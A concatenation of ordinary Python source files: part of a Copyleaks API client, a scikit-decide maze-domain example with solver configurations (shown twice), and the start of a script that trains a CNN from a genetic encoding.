`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
'''
assert scan_id and export_id and model
Copyleaks.verify_auth_token(auth_token)
url = f"{Consts.API_SERVER_URI}/v3/downloads/{scan_id}/export/{export_id}"
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token['access_token']}"
}
response = requests.post(url, headers=headers, data=model.toJSON())
if response.ok:
return # Completed successfully
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def start(product, auth_token, model):
'''
Start scanning all the files you submitted for a price-check.
For more info:
https://api.copyleaks.com/documentation/v3/education/start
https://api.copyleaks.com/documentation/v3/businesses/start
Parameters:
product: `Products`. Which product (education or business) is being use.
auth_token: Your login token to Copyleaks server.
model: `Start` object. Include information about which scans should be started.
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
Returns:
Server response including success/failed info.
'''
assert product and model
Copyleaks.verify_auth_token(auth_token)
url = f"{Consts.API_SERVER_URI}/v3/{product}/start"
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token['access_token']}"
}
response = requests.patch(url, headers=headers, data=model.toJSON())
if response.ok:
return response.json() # Completed successfully
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def delete(product, auth_token, delete_model):
'''
Delete the specific process from the server.
For more info:
https://api.copyleaks.com/documentation/v3/education/delete
https://api.copyleaks.com/documentation/v3/businesses/delete
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
'''
assert product and delete_model
Copyleaks.verify_auth_token(auth_token)
url = f"{Consts.API_SERVER_URI}/v3.1/{product}/delete"
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token['access_token']}"
}
response = requests.patch(url, headers=headers, data=delete_model.toJSON())
if response.ok:
return # Completed successfully
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def resend_webhook(product, auth_token, scan_id):
'''
Resend status webhooks for existing scans.
For more info:
https://api.copyleaks.com/documentation/v3/education/webhook-resend
https://api.copyleaks.com/documentation/v3/businesses/webhook-resend
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
'''
assert product and scan_id
Copyleaks.verify_auth_token(auth_token)
url = f"{Consts.API_SERVER_URI}/v3/{product}/scans/{scan_id}/webhooks/resend"
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token['access_token']}"
}
response = requests.post(url, headers=headers)
if response.ok:
return # Completed successfully
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def credits_balance(product, auth_token):
'''
Get current credits balance for the Copyleaks account
For more info:
https://api.copyleaks.com/documentation/v3/education/credits
https://api.copyleaks.com/documentation/v3/businesses/credits
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
`RateLimitError`: Too many requests. Please wait before calling again.
Returns:
Number of remaining credits on the account.
'''
assert product
Copyleaks.verify_auth_token(auth_token)
url = f"{Consts.API_SERVER_URI}/v3/{product}/credits"
headers = {
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token['access_token']}"
}
response = requests.get(url, headers=headers)
if response.ok:
return response.json()
elif response.status_code == 503:
raise UnderMaintenanceError()
elif response.status_code == 429:
raise RateLimitError()
else:
raise CommandError(response)
@staticmethod
def usages_history_csv(product, auth_token, start_date, end_date):
'''
This endpoint allows you to export your usage history between two dates.
The output results will be exported to a csv file and it will be attached to the response.
For more info:
https://api.copyleaks.com/documentation/v3/education/usages/history
https://api.copyleaks.com/documentation/v3/businesses/usages/history
Parameters:
product: `Products`. Which product (education or business) is being use.
auth_token: Your login token to Copyleaks server.
start_date: String. The start date to collect usage history from. Date Format: `dd-MM-yyyy`
end_date: String. The end date to collect usage history from. Date Format: `dd-MM-yyyy`
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
`RateLimitError`: Too many requests. Please wait before calling again.
Returns:
Server response including success/failed info.
'''
assert product and start_date and end_date
Copyleaks.verify_auth_token(auth_token)
url = f"{Consts.API_SERVER_URI}/v3/{product}/usages/history?start={start_date}&end={end_date}"
headers = {
'Content-Type': 'application/json',
'User-Agent': Consts.USER_AGENT,
'Authorization': f"Bearer {auth_token['access_token']}"
}
response = requests.get(url, headers=headers)
if response.ok:
return response.content # Completed successfully
elif response.status_code == 503:
raise UnderMaintenanceError()
elif response.status_code == 429:
raise RateLimitError()
else:
raise CommandError(response)
@staticmethod
def release_notes():
'''
Get updates about copyleaks api release notes
For more info: https://api.copyleaks.com/documentation/v3/release-notes
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
Returns:
List of release notes.
'''
url = f"{Consts.API_SERVER_URI}/v3/release-logs.json"
headers = {
'User-Agent': Consts.USER_AGENT
}
response = requests.get(url, headers=headers)
if response.ok:
return response.json()
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def supported_file_types():
'''
Get a list of the supported file types.
For more info: https://api.copyleaks.com/documentation/v3/specifications/supported-file-types
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
Returns:
List of supported file types.
'''
url = f"{Consts.API_SERVER_URI}/v3/miscellaneous/supported-file-types"
headers = {
'User-Agent': Consts.USER_AGENT
}
response = requests.get(url, headers=headers)
if response.ok:
return response.json()
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
@staticmethod
def ocr_supported_langauges():
'''
Get a list of the supported languages for OCR (this is not a list of supported languages for the api, but only for the OCR files scan).
For more info: https://api.copyleaks.com/documentation/v3/specifications/ocr-languages/list
Raises:
`CommandError`: Server reject the request. See response status code, headers and content for more info.
`UnderMaintenanceError`: Copyleaks servers are unavailable for maintenance. We recommend to implement exponential backoff algorithm as described here: https://api.copyleaks.com/documentation/v3/exponential-backoff
Returns:
List of supported OCR languages.
'''
url = f"{Consts.API_SERVER_URI}/v3/miscellaneous/ocr-languages-list"
headers = {
'User-Agent': Consts.USER_AGENT
}
response = requests.get(url, headers=headers)
if response.ok:
return response.json()
elif response.status_code == 503:
raise UnderMaintenanceError()
else:
raise CommandError(response)
|
# Copyright (c) AIRBUS and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from enum import Enum
from typing import NamedTuple, Optional
from pathos.helpers import mp
from math import sqrt
from stable_baselines3 import PPO
from skdecide import DeterministicPlanningDomain, Value, Value, Space, \
EnvironmentOutcome, TransitionOutcome, SingleValueDistribution
from skdecide.builders.domain import UnrestrictedActions
from skdecide.hub.space.gym import ListSpace, EnumSpace, MultiDiscreteSpace
from skdecide.utils import load_registered_solver, rollout
class State(NamedTuple):
x: int
y: int
class Action(Enum):
up = 0
down = 1
left = 2
right = 3
class D(DeterministicPlanningDomain, UnrestrictedActions):
T_state = State # Type of states
T_observation = T_state # Type of observations
T_event = Action # Type of events
T_value = float # Type of transition values (rewards or costs)
T_predicate = bool # Type of logical checks
T_info = None # Type of additional information given as part of an environment outcome
class MyDomain(D):
def __init__(self, num_cols=10, num_rows=10):
self.num_cols = num_cols
self.num_rows = num_rows
def _get_next_state(self, memory: D.T_memory[D.T_state],
action: D.T_agent[D.T_concurrency[D.T_event]]) -> D.T_state:
if action == Action.left:
next_state = State(max(memory.x - 1, 0), memory.y)
if action == Action.right:
next_state = State(min(memory.x + 1, self.num_cols - 1), memory.y)
if action == Action.up:
next_state = State(memory.x, max(memory.y - 1, 0))
if action == Action.down:
next_state = State(memory.x, min(memory.y + 1, self.num_rows - 1))
return next_state
def _get_transition_value(self, memory: D.T_memory[D.T_state], action: D.T_agent[D.T_concurrency[D.T_event]],
next_state: Optional[D.T_state] = None) -> D.T_agent[Value[D.T_value]]:
if next_state.x == memory.x and next_state.y == memory.y:
cost = 2 # big penalty when hitting a wall
else:
cost = abs(next_state.x - memory.x) + abs(next_state.y - memory.y) # every move costs 1
return Value(cost=cost)
def _is_terminal(self, state: D.T_state) -> D.T_agent[D.T_predicate]:
return self._is_goal(state)
def _get_action_space_(self) -> D.T_agent[Space[D.T_event]]:
return EnumSpace(Action)
def _get_goals_(self) -> D.T_agent[Space[D.T_observation]]:
return ListSpace([State(x=self.num_cols - 1, y=self.num_rows - 1)])
def _get_initial_state_(self) -> D.T_state:
return State(x=0, y=0)
def _get_observation_space_(self) -> D.T_agent[Space[D.T_observation]]:
return MultiDiscreteSpace([self.num_cols, self.num_rows])
# Shared memory proxy for use with parallel algorithms only
# Not efficient on this tiny domain but provided for illustration
# To activate parallelism, set parallel=True in the algotihms below
class MyShmProxy:
_register_ = [(State, 2), (Action, 1), (EnumSpace, 1), (SingleValueDistribution, 1),
(Value, 1), (EnvironmentOutcome, 1), (TransitionOutcome, 1),
(bool, 1), (int, 2), (float, 1), (list, 2)]
def __init__(self):
self._proxies_ = {State: MyShmProxy.StateProxy, Action: MyShmProxy.ActionProxy,
EnumSpace: MyShmProxy.EnumSpaceProxy,
SingleValueDistribution: MyShmProxy.SingleValueDistributionProxy,
Value: MyShmProxy.ValueProxy,
EnvironmentOutcome: MyShmProxy.EnvironmentOutcomeProxy,
TransitionOutcome: MyShmProxy.TransitionOutcomeProxy,
bool: MyShmProxy.BoolProxy,
int: MyShmProxy.IntProxy,
float: MyShmProxy.FloatProxy,
list: MyShmProxy.ListProxy}
def copy(self):
p = MyShmProxy()
p._proxies_ = dict(self._proxies_)
return p
def register(self):
return MyShmProxy._register_
def initialize(self, t):
return self._proxies_[t].initialize()
def encode(self, value, shm_value):
self._proxies_[type(value)].encode(value, shm_value)
def decode(self, t, shm_value):
return self._proxies_[t].decode(shm_value)
class StateProxy:
@staticmethod
def initialize():
return mp.Array('d', [0, 0], lock=True)
@staticmethod
def encode(state, shm_state):
shm_state[0] = state.x
shm_state[1] = state.y
@staticmethod
def decode(shm_state):
return State(int(shm_state[0]), int(shm_state[1]))
class ActionProxy:
@staticmethod
def initialize():
return mp.Value('I', 0, lock=True)
@staticmethod
def encode(action, shm_action):
shm_action.value = action.value
@staticmethod
def decode(shm_action):
return Action(shm_action.value)
class EnumSpaceProxy: # Always used with Action as enum class
@staticmethod
def initialize():
return mp.Array('c', b'')
@staticmethod
def encode(val, shm_val):
pass
@staticmethod
def decode(val):
return EnumSpace(Action)
class SingleValueDistributionProxy: # Always used with State
@staticmethod
def initialize():
return MyShmProxy.StateProxy.initialize()
@staticmethod
def encode(svd, shm_svd):
MyShmProxy.StateProxy.encode(svd._value, shm_svd)
@staticmethod
def decode(svd):
return SingleValueDistribution(MyShmProxy.StateProxy.decode(svd))
class ValueProxy:
@staticmethod
def initialize():
return [mp.Value('d', 0), mp.Value('b', False)]
@staticmethod
def encode(value, shm_value):
if value.reward is not None:
shm_value[0].value = value.reward
shm_value[1].value = True
elif value.cost is not None:
shm_value[0].value = value.cost
shm_value[1].value = False
else:
shm_value[0].value = 0
shm_value[1].value = True
@staticmethod
def decode(value):
if value[1].value:
return Value(reward=value[0].value)
else:
return Value(cost=value[0].value)
class EnvironmentOutcomeProxy:
@staticmethod
def initialize():
return [MyShmProxy.StateProxy.initialize()] + \
MyShmProxy.ValueProxy.initialize() + \
[MyShmProxy.BoolProxy.initialize()]
@staticmethod
def encode(outcome, shm_outcome):
MyShmProxy.StateProxy.encode(outcome.observation, shm_outcome[0])
MyShmProxy.ValueProxy.encode(outcome.value, shm_outcome[1:3])
MyShmProxy.BoolProxy.encode(outcome.termination, shm_outcome[3])
@staticmethod
def decode(outcome):
return EnvironmentOutcome(observation=MyShmProxy.StateProxy.decode(outcome[0]),
value=MyShmProxy.ValueProxy.decode(outcome[1:3]),
termination=MyShmProxy.BoolProxy.decode(outcome[3]))
class TransitionOutcomeProxy:
@staticmethod
def initialize():
return [MyShmProxy.StateProxy.initialize()] + \
MyShmProxy.ValueProxy.initialize() + \
[MyShmProxy.BoolProxy.initialize()]
@staticmethod
def encode(outcome, shm_outcome):
MyShmProxy.StateProxy.encode(outcome.state, shm_outcome[0])
MyShmProxy.ValueProxy.encode(outcome.value, shm_outcome[1:3])
MyShmProxy.BoolProxy.encode(outcome.termination, shm_outcome[3])
@staticmethod
def decode(outcome):
return TransitionOutcome(state=MyShmProxy.StateProxy.decode(outcome[0]),
value=MyShmProxy.ValueProxy.decode(outcome[1:3]),
termination=MyShmProxy.BoolProxy.decode(outcome[3]))
class BoolProxy:
@staticmethod
def initialize():
return mp.Value('b', False)
@staticmethod
def encode(val, shm_val):
shm_val.value = val
@staticmethod
def decode(val):
return bool(val.value)
class IntProxy:
@staticmethod
def initialize():
return mp.Value('i', False)
@staticmethod
def encode(val, shm_val):
shm_val.value = val
@staticmethod
def decode(val):
return int(val.value)
class FloatProxy:
@staticmethod
def initialize():
return mp.Value('d', False)
@staticmethod
def encode(val, shm_val):
shm_val.value = val
@staticmethod
def decode(val):
return float(val.value)
class ListProxy: # Always used to encode (R)IW state feature vector
@staticmethod
def initialize():
return mp.Array('i', [0, 0], lock=True)
@staticmethod
def encode(val, shm_val):
shm_val[0] = val[0]
shm_val[1] = val[1]
@staticmethod
def decode(val):
return [val[0], val[1]]
if __name__ == '__main__':
try_solvers = [
# Lazy A* (classical planning)
{'name': 'Lazy A* (classical planning)',
'entry': 'LazyAstar',
'config': {'heuristic': lambda d, s: Value(cost=sqrt((d.num_cols - 1 - s.x)**2 + (d.num_rows - 1 - s.y)**2)),
'verbose': False}},
# A* (planning)
{'name': 'A* (planning)',
'entry': 'Astar',
'config': {'domain_factory': lambda: MyDomain(),
'heuristic': lambda d, s: Value(cost=sqrt((d.num_cols - 1 - s.x)**2 + (d.num_rows - 1 - s.y)**2)),
'parallel': False, 'shared_memory_proxy': MyShmProxy(), 'debug_logs': False}},
# UCT (reinforcement learning / search)
{'name': 'UCT (reinforcement learning / search)',
'entry': 'UCT',
'config': {'domain_factory': lambda: MyDomain(),
'time_budget': 1000, 'rollout_budget': 100,
'heuristic': lambda d, s: (Value(cost=sqrt((d.num_cols - 1 - s.x)**2 + (d.num_rows - 1 - s.y)**2)), 10000),
'online_node_garbage': True,
'max_depth': 50, 'ucb_constant': 1.0 / sqrt(2.0),
'parallel': False, 'shared_memory_proxy': MyShmProxy()}},
# PPO: Proximal Policy Optimization (deep reinforcement learning)
{'name': 'PPO: Proximal Policy Optimization (deep reinforcement learning)',
'entry': 'StableBaseline',
'config': {'algo_class': PPO, 'baselines_policy': 'MlpPolicy', 'learn_config': {'total_timesteps': 30000},
'verbose': 1}},
# Rollout-IW (classical planning)
{'name': 'Rollout-IW (classical planning)',
'entry': 'RIW',
'config': {'domain_factory': lambda: MyDomain(),
'state_features': lambda d, s: [s.x, s.y],
'time_budget': 1000, 'rollout_budget': 100,
'max_depth': 50, 'exploration': 0.25,
'use_simulation_domain': True, 'online_node_garbage': True,
'continuous_planning': False,
'parallel': False, 'shared_memory_proxy': MyShmProxy()}},
# IW (classical planning)
{'name': 'IW (classical planning)',
'entry': 'IW',
'config': {'domain_factory': lambda: MyDomain(),
'state_features': lambda d, s: [s.x, s.y],
'parallel': False, 'shared_memory_proxy': MyShmProxy()}},
# BFWS (classical planning)
{'name': 'BFWS (planning) - (num_rows * num_cols) binary encoding (1 binary variable <=> 1 cell)',
'entry': 'BFWS',
'config': {'domain_factory': lambda: MyDomain(),
'state_features': lambda d, s: [s.x, s.y],
'heuristic': lambda d, s: Value(cost=sqrt((d.num_cols - 1 - s.x)**2 + (d.num_rows - 1 - s.y)**2)),
'termination_checker': lambda d, s: d.is_goal(s),
'parallel': False, 'shared_memory_proxy': MyShmProxy(),
'debug_logs': False}},
]
# Load solvers (filtering out badly installed ones)
solvers = map(lambda s: dict(s, entry=load_registered_solver(s['entry'])), try_solvers)
solvers = list(filter(lambda s: s['entry'] is not None, solvers))
solvers.insert(0, {'name': 'Random Walk', 'entry': None}) # Add Random Walk as option
# Run loop to ask user input
domain = MyDomain() # MyDomain(5,5)
while True:
# Ask user input to select solver
choice = int(input('\nChoose a solver:\n{solvers}\n'.format(
solvers='\n'.join(['0. Quit'] + [f'{i + 1}. {s['name']}' for i, s in enumerate(solvers)]))))
if choice == 0: # the user wants to quit
break
else:
selected_solver = solvers[choice - 1]
solver_type = selected_solver['entry']
# Test solver solution on domain
print('==================== TEST SOLVER ====================')
# Check if Random Walk selected or other
if solver_type is None:
rollout(domain, solver=None, max_steps=1000,
outcome_formatter=lambda o: f'{o.observation} - cost: {o.value.cost:.2f}')
else:
# Check that the solver is compatible with the domain
assert solver_type.check_domain(domain)
# Solve with selected solver
with solver_type(**selected_solver['config']) as solver:
MyDomain.solve_with(solver) # ,lambda:MyDomain(5,5))
rollout(domain, solver, max_steps=1000,
outcome_formatter=lambda o: f'{o.observation} - cost: {o.value.cost:.2f}')
| # Copyright (c) AIRBUS and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from enum import Enum
from typing import NamedTuple, Optional
from pathos.helpers import mp
from math import sqrt
from stable_baselines3 import PPO
from skdecide import DeterministicPlanningDomain, Value, Value, Space, \
EnvironmentOutcome, TransitionOutcome, SingleValueDistribution
from skdecide.builders.domain import UnrestrictedActions
from skdecide.hub.space.gym import ListSpace, EnumSpace, MultiDiscreteSpace
from skdecide.utils import load_registered_solver, rollout
class State(NamedTuple):
x: int
y: int
class Action(Enum):
up = 0
down = 1
left = 2
right = 3
class D(DeterministicPlanningDomain, UnrestrictedActions):
T_state = State # Type of states
T_observation = T_state # Type of observations
T_event = Action # Type of events
T_value = float # Type of transition values (rewards or costs)
T_predicate = bool # Type of logical checks
T_info = None # Type of additional information given as part of an environment outcome
class MyDomain(D):
def __init__(self, num_cols=10, num_rows=10):
self.num_cols = num_cols
self.num_rows = num_rows
def _get_next_state(self, memory: D.T_memory[D.T_state],
action: D.T_agent[D.T_concurrency[D.T_event]]) -> D.T_state:
if action == Action.left:
next_state = State(max(memory.x - 1, 0), memory.y)
if action == Action.right:
next_state = State(min(memory.x + 1, self.num_cols - 1), memory.y)
if action == Action.up:
next_state = State(memory.x, max(memory.y - 1, 0))
if action == Action.down:
next_state = State(memory.x, min(memory.y + 1, self.num_rows - 1))
return next_state
def _get_transition_value(self, memory: D.T_memory[D.T_state], action: D.T_agent[D.T_concurrency[D.T_event]],
next_state: Optional[D.T_state] = None) -> D.T_agent[Value[D.T_value]]:
if next_state.x == memory.x and next_state.y == memory.y:
cost = 2 # big penalty when hitting a wall
else:
cost = abs(next_state.x - memory.x) + abs(next_state.y - memory.y) # every move costs 1
return Value(cost=cost)
def _is_terminal(self, state: D.T_state) -> D.T_agent[D.T_predicate]:
return self._is_goal(state)
def _get_action_space_(self) -> D.T_agent[Space[D.T_event]]:
return EnumSpace(Action)
def _get_goals_(self) -> D.T_agent[Space[D.T_observation]]:
return ListSpace([State(x=self.num_cols - 1, y=self.num_rows - 1)])
def _get_initial_state_(self) -> D.T_state:
return State(x=0, y=0)
def _get_observation_space_(self) -> D.T_agent[Space[D.T_observation]]:
return MultiDiscreteSpace([self.num_cols, self.num_rows])
# Shared memory proxy for use with parallel algorithms only
# Not efficient on this tiny domain but provided for illustration
# To activate parallelism, set parallel=True in the algotihms below
class MyShmProxy:
_register_ = [(State, 2), (Action, 1), (EnumSpace, 1), (SingleValueDistribution, 1),
(Value, 1), (EnvironmentOutcome, 1), (TransitionOutcome, 1),
(bool, 1), (int, 2), (float, 1), (list, 2)]
def __init__(self):
self._proxies_ = {State: MyShmProxy.StateProxy, Action: MyShmProxy.ActionProxy,
EnumSpace: MyShmProxy.EnumSpaceProxy,
SingleValueDistribution: MyShmProxy.SingleValueDistributionProxy,
Value: MyShmProxy.ValueProxy,
EnvironmentOutcome: MyShmProxy.EnvironmentOutcomeProxy,
TransitionOutcome: MyShmProxy.TransitionOutcomeProxy,
bool: MyShmProxy.BoolProxy,
int: MyShmProxy.IntProxy,
float: MyShmProxy.FloatProxy,
list: MyShmProxy.ListProxy}
def copy(self):
p = MyShmProxy()
p._proxies_ = dict(self._proxies_)
return p
def register(self):
return MyShmProxy._register_
def initialize(self, t):
return self._proxies_[t].initialize()
def encode(self, value, shm_value):
self._proxies_[type(value)].encode(value, shm_value)
def decode(self, t, shm_value):
return self._proxies_[t].decode(shm_value)
class StateProxy:
@staticmethod
def initialize():
return mp.Array('d', [0, 0], lock=True)
@staticmethod
def encode(state, shm_state):
shm_state[0] = state.x
shm_state[1] = state.y
@staticmethod
def decode(shm_state):
return State(int(shm_state[0]), int(shm_state[1]))
class ActionProxy:
@staticmethod
def initialize():
return mp.Value('I', 0, lock=True)
@staticmethod
def encode(action, shm_action):
shm_action.value = action.value
@staticmethod
def decode(shm_action):
return Action(shm_action.value)
class EnumSpaceProxy: # Always used with Action as enum class
@staticmethod
def initialize():
return mp.Array('c', b'')
@staticmethod
def encode(val, shm_val):
pass
@staticmethod
def decode(val):
return EnumSpace(Action)
class SingleValueDistributionProxy: # Always used with State
@staticmethod
def initialize():
return MyShmProxy.StateProxy.initialize()
@staticmethod
def encode(svd, shm_svd):
MyShmProxy.StateProxy.encode(svd._value, shm_svd)
@staticmethod
def decode(svd):
return SingleValueDistribution(MyShmProxy.StateProxy.decode(svd))
class ValueProxy:
@staticmethod
def initialize():
return [mp.Value('d', 0), mp.Value('b', False)]
@staticmethod
def encode(value, shm_value):
if value.reward is not None:
shm_value[0].value = value.reward
shm_value[1].value = True
elif value.cost is not None:
shm_value[0].value = value.cost
shm_value[1].value = False
else:
shm_value[0].value = 0
shm_value[1].value = True
@staticmethod
def decode(value):
if value[1].value:
return Value(reward=value[0].value)
else:
return Value(cost=value[0].value)
class EnvironmentOutcomeProxy:
@staticmethod
def initialize():
return [MyShmProxy.StateProxy.initialize()] + \
MyShmProxy.ValueProxy.initialize() + \
[MyShmProxy.BoolProxy.initialize()]
@staticmethod
def encode(outcome, shm_outcome):
MyShmProxy.StateProxy.encode(outcome.observation, shm_outcome[0])
MyShmProxy.ValueProxy.encode(outcome.value, shm_outcome[1:3])
MyShmProxy.BoolProxy.encode(outcome.termination, shm_outcome[3])
@staticmethod
def decode(outcome):
return EnvironmentOutcome(observation=MyShmProxy.StateProxy.decode(outcome[0]),
value=MyShmProxy.ValueProxy.decode(outcome[1:3]),
termination=MyShmProxy.BoolProxy.decode(outcome[3]))
class TransitionOutcomeProxy:
@staticmethod
def initialize():
return [MyShmProxy.StateProxy.initialize()] + \
MyShmProxy.ValueProxy.initialize() + \
[MyShmProxy.BoolProxy.initialize()]
@staticmethod
def encode(outcome, shm_outcome):
MyShmProxy.StateProxy.encode(outcome.state, shm_outcome[0])
MyShmProxy.ValueProxy.encode(outcome.value, shm_outcome[1:3])
MyShmProxy.BoolProxy.encode(outcome.termination, shm_outcome[3])
@staticmethod
def decode(outcome):
return TransitionOutcome(state=MyShmProxy.StateProxy.decode(outcome[0]),
value=MyShmProxy.ValueProxy.decode(outcome[1:3]),
termination=MyShmProxy.BoolProxy.decode(outcome[3]))
class BoolProxy:
@staticmethod
def initialize():
return mp.Value('b', False)
@staticmethod
def encode(val, shm_val):
shm_val.value = val
@staticmethod
def decode(val):
return bool(val.value)
class IntProxy:
@staticmethod
def initialize():
return mp.Value('i', False)
@staticmethod
def encode(val, shm_val):
shm_val.value = val
@staticmethod
def decode(val):
return int(val.value)
class FloatProxy:
@staticmethod
def initialize():
return mp.Value('d', False)
@staticmethod
def encode(val, shm_val):
shm_val.value = val
@staticmethod
def decode(val):
return float(val.value)
class ListProxy: # Always used to encode (R)IW state feature vector
@staticmethod
def initialize():
return mp.Array('i', [0, 0], lock=True)
@staticmethod
def encode(val, shm_val):
shm_val[0] = val[0]
shm_val[1] = val[1]
@staticmethod
def decode(val):
return [val[0], val[1]]
if __name__ == '__main__':
try_solvers = [
# Lazy A* (classical planning)
{'name': 'Lazy A* (classical planning)',
'entry': 'LazyAstar',
'config': {'heuristic': lambda d, s: Value(cost=sqrt((d.num_cols - 1 - s.x)**2 + (d.num_rows - 1 - s.y)**2)),
'verbose': False}},
# A* (planning)
{'name': 'A* (planning)',
'entry': 'Astar',
'config': {'domain_factory': lambda: MyDomain(),
'heuristic': lambda d, s: Value(cost=sqrt((d.num_cols - 1 - s.x)**2 + (d.num_rows - 1 - s.y)**2)),
'parallel': False, 'shared_memory_proxy': MyShmProxy(), 'debug_logs': False}},
# UCT (reinforcement learning / search)
{'name': 'UCT (reinforcement learning / search)',
'entry': 'UCT',
'config': {'domain_factory': lambda: MyDomain(),
'time_budget': 1000, 'rollout_budget': 100,
'heuristic': lambda d, s: (Value(cost=sqrt((d.num_cols - 1 - s.x)**2 + (d.num_rows - 1 - s.y)**2)), 10000),
'online_node_garbage': True,
'max_depth': 50, 'ucb_constant': 1.0 / sqrt(2.0),
'parallel': False, 'shared_memory_proxy': MyShmProxy()}},
# PPO: Proximal Policy Optimization (deep reinforcement learning)
{'name': 'PPO: Proximal Policy Optimization (deep reinforcement learning)',
'entry': 'StableBaseline',
'config': {'algo_class': PPO, 'baselines_policy': 'MlpPolicy', 'learn_config': {'total_timesteps': 30000},
'verbose': 1}},
# Rollout-IW (classical planning)
{'name': 'Rollout-IW (classical planning)',
'entry': 'RIW',
'config': {'domain_factory': lambda: MyDomain(),
'state_features': lambda d, s: [s.x, s.y],
'time_budget': 1000, 'rollout_budget': 100,
'max_depth': 50, 'exploration': 0.25,
'use_simulation_domain': True, 'online_node_garbage': True,
'continuous_planning': False,
'parallel': False, 'shared_memory_proxy': MyShmProxy()}},
# IW (classical planning)
{'name': 'IW (classical planning)',
'entry': 'IW',
'config': {'domain_factory': lambda: MyDomain(),
'state_features': lambda d, s: [s.x, s.y],
'parallel': False, 'shared_memory_proxy': MyShmProxy()}},
# BFWS (classical planning)
{'name': 'BFWS (planning) - (num_rows * num_cols) binary encoding (1 binary variable <=> 1 cell)',
'entry': 'BFWS',
'config': {'domain_factory': lambda: MyDomain(),
'state_features': lambda d, s: [s.x, s.y],
'heuristic': lambda d, s: Value(cost=sqrt((d.num_cols - 1 - s.x)**2 + (d.num_rows - 1 - s.y)**2)),
'termination_checker': lambda d, s: d.is_goal(s),
'parallel': False, 'shared_memory_proxy': MyShmProxy(),
'debug_logs': False}},
]
# Load solvers (filtering out badly installed ones)
solvers = map(lambda s: dict(s, entry=load_registered_solver(s['entry'])), try_solvers)
solvers = list(filter(lambda s: s['entry'] is not None, solvers))
solvers.insert(0, {'name': 'Random Walk', 'entry': None}) # Add Random Walk as option
# Run loop to ask user input
domain = MyDomain() # MyDomain(5,5)
while True:
# Ask user input to select solver
choice = int(input('\nChoose a solver:\n{solvers}\n'.format(
solvers='\n'.join(['0. Quit'] + [f'{i + 1}. {s["name"]}' for i, s in enumerate(solvers)]))))
if choice == 0: # the user wants to quit
break
else:
selected_solver = solvers[choice - 1]
solver_type = selected_solver['entry']
# Test solver solution on domain
print('==================== TEST SOLVER ====================')
# Check if Random Walk selected or other
if solver_type is None:
rollout(domain, solver=None, max_steps=1000,
outcome_formatter=lambda o: f'{o.observation} - cost: {o.value.cost:.2f}')
else:
# Check that the solver is compatible with the domain
assert solver_type.check_domain(domain)
# Solve with selected solver
with solver_type(**selected_solver['config']) as solver:
MyDomain.solve_with(solver) # ,lambda:MyDomain(5,5))
rollout(domain, solver, max_steps=1000,
outcome_formatter=lambda o: f'{o.observation} - cost: {o.value.cost:.2f}')
|
import argparse
from utils.utils import verify_free_gpu_memory
from utils.codifications import Chromosome, Fitness
from time import sleep, time
import os
parser = argparse.ArgumentParser(description='Train a gen of a CNN.')
parser.add_argument('-gf', '--gen_file', type=str, required=True,
help='text file who contains the genetic encoding of the CNN to train')
parser.add_argument('-ff', '--fitness_file', type=str, required=True,
help='file that contains the fitness object to use in the training and evaluating process')
parser.add_argument('-t', '--test', type=bool, default=False,
help="If use the test dataset to evaluate the model trained")
parser.add_argument('-fp', '--float_precision', type=int, default=32,
help='Bits to use in float precision. FP32 is more accurate, but FP is faster and use less memory')
parser.add_argument('-pm', '--precise_mode', type=bool, default=False,
help="Train the gen with a secondary configuration, in order to make a more precise calculation"
" of the fitness")
args = vars(parser.parse_args())
abs_ti = time()
chromosome = Chromosome.load(args['gen_file'])
print(chromosome)
fitness = Fitness.load(args['fitness_file'])
while not verify_free_gpu_memory()[0]:
sleep(3)
print("Waiting 3 seconds for a gpu...")
gpu_id = verify_free_gpu_memory()[1]
print("GPU AVAILABLE: :/GPU %d" % gpu_id)
